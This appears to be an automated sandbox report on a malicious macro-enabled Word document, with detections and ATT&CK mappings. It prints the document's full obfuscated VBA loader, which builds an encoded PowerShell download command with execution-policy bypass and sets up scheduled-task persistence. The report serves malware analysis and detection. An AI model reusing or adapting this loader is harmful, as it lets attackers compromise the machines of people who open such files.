MALICIOUS
426
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate/Decode Files or Information
The sample contains obfuscated VBA macros that utilize WScript.Shell and cmd.exe to execute a PowerShell command. This PowerShell command is designed to bypass execution policies and download a second-stage payload from a remote source. The presence of AutoOpen and other auto-execution VBA functions, along with the use of Shell() and CreateObject(), strongly indicates a downloader or droppper functionality.
Heuristics 12
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ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
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VBA project inside OOXML medium 8 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim oShell As Object, FileName As String Set oShell = CreateObject("WScript.Shell") FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat") -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim oShell As Object, FileName As String Set oShell = CreateObject("WScript.Shell") FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim oShell As Object, FileName As String Set oShell = CreateObject("WScript.Shell") FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Set oFile = Nothing CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /SC DAILY /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /ST 11:00 /F""" End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "NewMacros" Sub Auto_Open() Dim first As String -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4406 bytes |
SHA-256: 9447f9c6769a22075154ee0c5f06a32f2afaf4a5f44604e0e7d0cfa5ce5b7dd5 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Dim first As String
Dim second As String
Dim third As String
Dim fourth As String
Dim fifth As String
Dim sixth As String
Dim seventh As String
Dim eighth As String
Dim ninth As String
Dim tenth As String
Dim eleventh As String
Dim twelfth As String
Dim last As String
aa = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108)
bb = ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(99)
cc = ChrW(32) & ChrW(98) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(101)
dd = ChrW(110) & ChrW(99) & ChrW(32) & ChrW(83) & ChrW(81) & ChrW(66) & ChrW(70) & ChrW(65) & ChrW(70) & ChrW(103)
ee = ChrW(65) & ChrW(73) & ChrW(65) & ChrW(65) & ChrW(111) & ChrW(65) & ChrW(67) & ChrW(103) & ChrW(65) & ChrW(98)
ff = ChrW(103) & ChrW(66) & ChrW(108) & ChrW(65) & ChrW(72) & ChrW(99) & ChrW(65) & ChrW(76) & ChrW(81) & ChrW(66)
gg = ChrW(118) & ChrW(65) & ChrW(71) & ChrW(73) & ChrW(65) & ChrW(97) & ChrW(103) & ChrW(66) & ChrW(108) & ChrW(65)
hh = ChrW(71) & ChrW(77) & ChrW(65) & ChrW(100) & ChrW(65) & ChrW(65) & ChrW(103) & ChrW(65) & ChrW(71) & ChrW(52)
ii = ChrW(65) & ChrW(90) & ChrW(81) & ChrW(66) & ChrW(48) & ChrW(65) & ChrW(67) & ChrW(52) & ChrW(65) & ChrW(100)
ll = ChrW(119) & ChrW(66) & ChrW(108) & ChrW(65) & ChrW(71) & ChrW(73) & ChrW(65) & ChrW(89) & ChrW(119) & ChrW(66)
mm = ChrW(115) & ChrW(65) & ChrW(71) & ChrW(107) & ChrW(65) & ChrW(90) & ChrW(81) & ChrW(66) & ChrW(117) & ChrW(65)
nn = ChrW(72) & ChrW(81) & ChrW(65) & ChrW(75) & ChrW(81) & ChrW(65) & ChrW(117) & ChrW(65) & ChrW(71) & ChrW(81)
oo = ChrW(65) & ChrW(98) & ChrW(119) & ChrW(66) & ChrW(51) & ChrW(65) & ChrW(71) & ChrW(52) & ChrW(65) & ChrW(98)
pp = ChrW(65) & ChrW(66) & ChrW(118) & ChrW(65) & ChrW(71) & ChrW(69) & ChrW(65) & ChrW(90) & ChrW(65) & ChrW(66)
qq = ChrW(122) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(99) & ChrW(103) & ChrW(66) & ChrW(112) & ChrW(65)
rr = ChrW(71) & ChrW(52) & ChrW(65) & ChrW(90) & ChrW(119) & ChrW(65) & ChrW(111) & ChrW(65) & ChrW(67) & ChrW(99)
ss = ChrW(65) & ChrW(97) & ChrW(65) & ChrW(66) & ChrW(48) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(99)
tt = ChrW(65) & ChrW(65) & ChrW(54) & ChrW(65) & ChrW(67) & ChrW(56) & ChrW(65) & ChrW(76) & ChrW(119) & ChrW(65) & ChrW(120)
uu = ChrW(65) & ChrW(68) & ChrW(77) & ChrW(65) & ChrW(76) & ChrW(103) & ChrW(65) & ChrW(122) & ChrW(65) & ChrW(68)
vv = ChrW(89) & ChrW(65) & ChrW(76) & ChrW(103) & ChrW(65) & ChrW(121) & ChrW(65) & ChrW(68) & ChrW(69) & ChrW(65) & ChrW(77)
zz = ChrW(81) & ChrW(65) & ChrW(117) & ChrW(65) & ChrW(68) & ChrW(69) & ChrW(65) & ChrW(78) & ChrW(119) & ChrW(65) & ChrW(50)
ab = ChrW(65) & ChrW(67) & ChrW(56) & ChrW(65) & ChrW(99) & ChrW(103) & ChrW(66) & ChrW(122) & ChrW(65) & ChrW(67) & ChrW(52) & ChrW(65) & ChrW(100) & ChrW(65) & ChrW(66) & ChrW(52) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(74) & ChrW(119) & ChrW(65) & ChrW(112) & ChrW(65) & ChrW(67) & ChrW(107) & ChrW(65)
last = aa + bb + cc + dd + ee + ff + gg + hh + ii + ll + mm + nn + oo + pp + qq + rr + ss + tt + uu + vv + zz + ab
Dim fso As Object, oFile As Object
Dim oShell As Object, FileName As String
Set oShell = CreateObject("WScript.Shell")
FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
Set oShell = Nothing
Set fso = CreateObject("Scripting.FileSystemObject")
Set oFile = fso.CreateTextFile(FileName)
oFile.WriteLine "@echo off"
oFile.WriteLine "@echo off"
oFile.WriteLine last + " -WindowStyle" + " Hidden"
oFile.Close
Set oFile = Nothing
CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /SC DAILY /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /ST 11:00 /F"""
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 38912 bytes |
SHA-256: ea2a76df0e5c58f447b86313e0c7d70f04c783ec15bf1dc6f9756ae585272f05 |
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Detection
ClamAV:
Doc.Downloader.Generic-6698421-0
Obfuscation or payload:
unlikely
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